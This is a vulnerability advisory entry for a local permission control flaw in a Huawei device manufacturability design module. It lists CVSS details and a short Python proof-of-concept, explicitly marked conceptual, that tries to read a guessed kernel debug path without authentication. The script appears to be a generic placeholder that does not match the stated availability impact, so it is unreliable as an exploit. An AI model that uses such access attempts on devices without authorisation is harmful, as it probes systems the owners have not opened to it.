Permission control vulnerability in the manufacturability design module. Impact: Successful exploitation of this vulnerability may affect availability.
CVSS Details
CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
华为设备特定版本 (具体参考华为安全公告 2026/5)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41968 (Conceptual)
# Target: Huawei Device Manufacturability Design Module
# Description: This script demonstrates a local permission bypass attempt.
import os
def check_vulnerability():
# Path to the sensitive manufacturing module interface
target_path = "/sys/kernel/debug/manufacturing/design_module"
print(f"[*] Attempting to access {target_path}...")
if os.path.exists(target_path):
try:
# Attempt to read the configuration without authentication
with open(target_path, 'r') as f:
data = f.read()
print("[+] Vulnerability confirmed! Read sensitive data without permission.")
print(f"[+] Data: {data[:100]}...")
return True
except PermissionError:
print("[-] Access denied. System may be patched.")
return False
else:
print("[-] Target path not found. Device might not be affected.")
return False
if __name__ == "__main__":
check_vulnerability()